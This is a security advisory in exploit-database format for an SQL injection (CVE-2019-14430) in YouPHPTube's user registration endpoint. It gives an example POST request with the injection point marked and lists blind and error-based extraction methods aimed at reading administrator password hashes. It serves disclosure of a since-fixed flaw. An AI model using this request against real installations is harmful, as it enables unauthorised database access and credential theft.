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YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection


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# Exploit Title: YouPHPTube < 7.3 SQL Injection
# Google Dork: /
# Date: 19.08.2019
# Exploit Author: Fabian Mosch, r-tec IT Security GmbH
# Vendor Homepage: https://www.youphptube.com/
# Software Link: https://github.com/YouPHPTube/YouPHPTube
# Version: < 7.3
# Tested on: Linux/Windows
# CVE : CVE-2019-14430

The parameters "User" as well as "pass" of the user registration function are vulnerable to SQL injection vulnerabilities. By submitting an HTTP POST request to the URL "/objects/userCreate.json.php" an attacker can access the database and read the hashed credentials of an administrator for example.

Example Request:

POST /objects/userCreate.json.php HTTP/1.1
Host: vulnerablehost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
[SomeHeaders and Cookies]

user=tes'INJECTHERE&pass=test'INJECTHERE &email=test%40example.com&name=test&captcha=xxxxx

Methods for DB-Extraction are:

- Boolean-based blind

- Error-based

- AND/OR time-based blind

The vulnerability was fixed with this commit:
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